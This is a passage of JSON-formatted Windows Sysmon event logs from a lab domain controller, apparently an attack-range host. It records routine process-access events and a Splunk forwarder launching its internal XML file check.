C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+12343|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:50:00.484","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"1064","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+12343|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:50:01","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:50:00","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":1972,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:50:00.484\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 1064\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11378|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:50:00.484","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"1064","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11378|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:50:01","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:50:00","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":1973,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:50:00.484\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 1064\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11dcd|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:50:00.484","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"1064","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11dcd|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:50:01","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:50:00","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":1974,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:50:00.484\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 1064\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+d6ce|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:50:00.484","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"1064","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+d6ce|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:50:01","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:50:00","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":1975,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:50:00.484\r\nSourceProcessGUID: {90617006-3FE5-5F2D-0000-00105DC70200}\r\nSourceProcessId: 3756\r\nSourceThreadId: 3776\r\nSourceImage: C:\\Windows\\system32\\conhost.exe\r\nTargetProcessGUID: {90617006-3FE5-5F2D-0000-0010BC070300}\r\nTargetProcessId: 3984\r\nTargetImage: C:\\Windows\\system32\\cmd.exe\r\nGrantedAccess: 0x1FFFFF\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\SYSTEM32\\ConhostV2.dll+5c07|C:\\Windows\\SYSTEM32\\ConhostV2.dll+76ab|C:\\Windows\\SYSTEM32\\ConhostV2.dll+a84c|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:50:00.484","SourceProcessGUID":"{90617006-3FE5-5F2D-0000-00105DC70200}","SourceProcessId":"3756","SourceThreadId":"3776","SourceImage":"C:\\Windows\\system32\\conhost.exe","TargetProcessGUID":"{90617006-3FE5-5F2D-0000-0010BC070300}","TargetProcessId":"3984","TargetImage":"C:\\Windows\\system32\\cmd.exe","GrantedAccess":"0x1fffff","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\SYSTEM32\\ConhostV2.dll+5c07|C:\\Windows\\SYSTEM32\\ConhostV2.dll+76ab|C:\\Windows\\SYSTEM32\\ConhostV2.dll+a84c|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:50:01","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:50:00","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":1,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":5,"Task":1,"OpcodeValue":0,"RecordNumber":1976,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process Create:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:50:00.497\r\nProcessGuid: {90617006-3FE8-5F2D-0000-001089420300}\r\nProcessId: 3808\r\nImage: C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk.exe\r\nFileVersion: 8.0.2\r\nDescription: splunk Application\r\nProduct: splunk Application\r\nCompany: Splunk Inc.\r\nOriginalFileName: splunk.exe\r\nCommandLine: \"C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk.exe\" _internal check-xml-files --answer-yes --no-prompt \r\nCurrentDirectory: C:\\Windows\\system32\\\r\nUser: NT AUTHORITY\\SYSTEM\r\nLogonGuid: {90617006-3FD2-5F2D-0000-0020E7030000}\r\nLogonId: 0x3E7\r\nTerminalSessionId: 0\r\nIntegrityLevel: System\r\nHashes: MD5=BA47934C1D8F8F5D495F67F9B6EF5D0B,SHA256=39A00C55E1BC2233DBEE2A3F2F8CB9BD3668275DCA5F83BD11958FAF50E8C8CE,IMPHASH=4D753DA340C903D8C30CD8B0CF2B73E3\r\nParentProcessGuid: {90617006-3FE8-5F2D-0000-0010DA410300}\r\nParentProcessId: 3984\r\nParentImage: C:\\Windows\\System32\\cmd.exe\r\nParentCommandLine: C:\\Windows\\system32\\cmd.exe /c \"C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk.exe\" _internal check-xml-files --answer-yes --no-prompt 2>&1","Category":"Process Create (rule: ProcessCreate)","Opcode":"Info","UtcTime":"2020-08-07 11:50:00.497","ProcessGuid":"{90617006-3FE8-5F2D-0000-001089420300}","Image":"C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk.exe","FileVersion":"8.0.2","Description":"splunk Application","Product":"splunk Application","Company":"Splunk Inc.","OriginalFileName":"splunk.exe","CommandLine":"\"C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk.exe\" _internal check-xml-files --answer-yes --no-prompt ","CurrentDirectory":"C:\\Windows\\system32\\","User":"NT AUTHORITY\\SYSTEM","LogonGuid":"{90617006-3FD2-5F2D-0000-0020E7030000}","LogonId":"0x3e7","TerminalSessionId":"0","IntegrityLevel":"System","Hashes":"MD5=BA47934C1D8F8F5D495F67F9B6EF5D0B,SHA256=39A00C55E1BC2233DBEE2A3F2F8CB9BD3668275DCA5F83BD11958FAF50E8C8CE,IMPHASH=4D753DA340C903D8C30CD8B0CF2B73E3","ParentProcessGuid":"{90617006-3FE8-5F2D-0000-0010DA410300}","ParentProcessId":"3984","ParentImage":"C:\\Windows\\System32\\cmd.exe","ParentCommandLine":"C:\\Windows\\system32\\cmd.exe /c \"C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk.exe\" _internal check-xml-files --answer-yes --no-prompt 2>&1","EventReceivedTime":"2020-08-07 11:50:01","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:50:00","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":1977,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:50:00.484\r\nSourceProcessGUID: {90617006-3FE5-5F2D-0000-0010BC070300}\r\nSourceProcessId: 3984\r\nSourceThreadId: 3816\r\nSourceImage: C:\\Windows\\system32\\cmd.exe\r\nTargetProcessGUID: {90617006-3FE8-5F2D-0000-001089420300}\r\nTargetProcessId: 3808\r\nTargetImage: C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk.exe\r\nGrantedAccess: 0x1FFFFF\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a7194|C:\\Windows\\System32\\KERNELBASE.dll+2b860|C:\\Windows\\System32\\KERNELBASE.dll+6b246|C:\\Windows\\System32\\KERNEL32.DLL+1c213|C:\\Windows\\system32\\cmd.exe+f1e1|C:\\Windows\\system32\\cmd.exe+11a37|C:\\Windows\\system32\\cmd.exe+cb0d|C:\\Windows\\system32\\cmd.exe+c295|C:\\Windows\\system32\\cmd.exe+f916|C:\\Windows\\system32\\cmd.exe+1510d|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:50:00.484","SourceProcessGUID":"{90617006-3FE5-5F2D-0000-0010BC070300}","SourceProcessId":"3984","SourceThreadId":"3816","SourceImage":"C:\\Windows\\system32\\cmd.exe","TargetProcessGUID":"{90617006-3FE8-5F2D-0000-001089420300}","TargetProcessId":"3808","TargetImage":"C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk.exe","GrantedAccess":"0x1fffff","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a7194|C:\\Windows\\System32\\KERNELBASE.dll+2b860|C:\\Windows\\System32\\KERNELBASE.dll+6b246|C:\\Windows\\System32\\KERNEL32.DLL+1c213|C:\\Windows\\system32\\cmd.exe+f1e1|C:\\Windows\\system32\\cmd.exe+11a37|C:\\Windows\\system32\\cmd.exe+cb0d|C:\\Windows\\system32\\cmd.exe+c295|C:\\Windows\\system32\\cmd.exe+f916|C:\\Windows\\system32\\cmd.exe+1510d|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:50:01","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:50:00","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":1978,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:50:00.484\r\nSourceProcessGUID: {90617006-3FD2-5F2D-0000-0010D5420000}\r\nSourceProcessId: 644\r\nSourceThreadId: 660\r\nSourceImage: C:\\Windows\\system32\\csrss.exe\r\nTargetProcessGUID: {90617006-3FE8-5F2D-0000-001089420300}\r\nTargetProcessId: 3808\r\nTargetImage: C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk.exe\r\nGrantedAccess: 0x1FFFFF\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\basesrv.DLL+2f47|C:\\Windows\\SYSTEM32\\CSRSRV.dll+5645|C:\\Windows\\SYSTEM32\\ntdll.dll+6e87f","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:50:00.484","SourceProcessGUID":"{90617006-3FD2-5F2D-0000-0010D5420000}","SourceProcessId":"644","SourceThreadId":"660","SourceImage":"C:\\Windows\\system32\\csrss.exe","TargetProcessGUID":"{90617006-3FE8-5F2D-0000-001089420300}","TargetProcessId":"3808","TargetImage":"C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk.exe","GrantedAccess":"0x1fffff","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\basesrv.DLL+2f47|C:\\Windows\\SYSTEM32\\CSRSRV.dll+5645|C:\\Windows\\SYSTEM32\\ntdll.dll+6e87f","EventReceivedTime":"2020-08-07 11:50:01","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:50:00","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":1979,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:50:00.484\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 1064\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+12343|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:50:00.484","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"1064","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+12343|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:50:01","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:50:00","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":1980,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:50:00.484\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 1064\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: 